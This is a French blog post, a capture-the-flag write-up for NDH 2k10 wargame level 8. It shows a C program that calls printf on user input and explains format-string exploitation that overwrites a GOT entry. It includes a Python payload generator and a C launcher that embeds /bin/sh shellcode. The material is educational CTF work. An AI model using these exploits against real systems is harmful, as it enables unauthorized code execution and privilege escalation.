raisep0wn

Geek Stuff & IT Security

Posts Tagged ‘Format String

NDH 2k10 Public WarGame level8

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
        if(argc < 2) {
                printf("Empty login! \n");
                exit(-1);
        }

        printf(argv[1]);
        printf("\nNice to see you\n");

        exit(0);
}

Une fonction d’apparence anodine comme printf peut cacher bien des surprises. Les formats strings. Cette fonction analyse la chaine de caractère à la recherche de spécification de conversion, les fameux caractères pour-cent que l’on utilise généralement pour afficher dans un format donné les arguments passés à la fonction. Ce challenge nous donne un contrôle total sur la chaine qu’utilise printf. En utilisant %x nous pouvons afficher le contenu de la pile. En y ajoutant le caractère dollar, nous avons un accès direct au paramètre. En clair, nous pouvons choisir la position de l’argument que nous utilisons. Ainsi %42$08x affichera le 42e octet de la pile. Et enfin, à l’aide de %n nous pouvons écrire dans un pointeur le nombre de caractère déjà inscrit. En mélangeant correctement ces différentes spécifications de conversion, nous pouvons lire et écrire à peu près partout dans la zone mémoire du programme. Nous nous contenterons d’écraser une entrée de le GOT afin de rediriger les appels à la fonction puts() vers note shellcode. La vidéo devrait vous permettre de comprendre le principe. Le script utilisé pour générer la chaine d’exploitation, et l’exploit ont été ajoutés à la fin de cet article.

#!/usr/bin/python
from sys import argv
from getopt import getopt

opt,arg = getopt(argv[1:], "g:v:o:p:l")
target = []
desire = []
offset = -1
padding = ""
LE = 0x000000FF
string = ""

for o,a in opt:
    if o == "-g":
        a = int(a, 16)
        for i in range(4):
            target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
            a += 1
    elif o == "-v":
        desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
    elif o == "-o":
        offset = int(a)
    elif o == "-p":
        padding = a

if target == [] or desire == [] or offset == -1:
    print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
    exit(1)

string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)

for i in range(4):
    string += "%c%c%c%c"%tuple(target[i])
string += "%c%c%c%c"%tuple(desire) #useless -_-"
string += padding
print string
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level8/level8";
char *env[] = {"SHLVL=0", "PWD=/tmp/level8", "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char* argv[])
{
 if(!execle(target_path, target_path, argv[1], (char *)0, env))
 {
  perror("Unable to execute target.");
  exit(1);
 }
}

Références :

Publicités

Written by Ralph

28/05/2011 at 08:03

Publié dans IT Security

Tagged with , , ,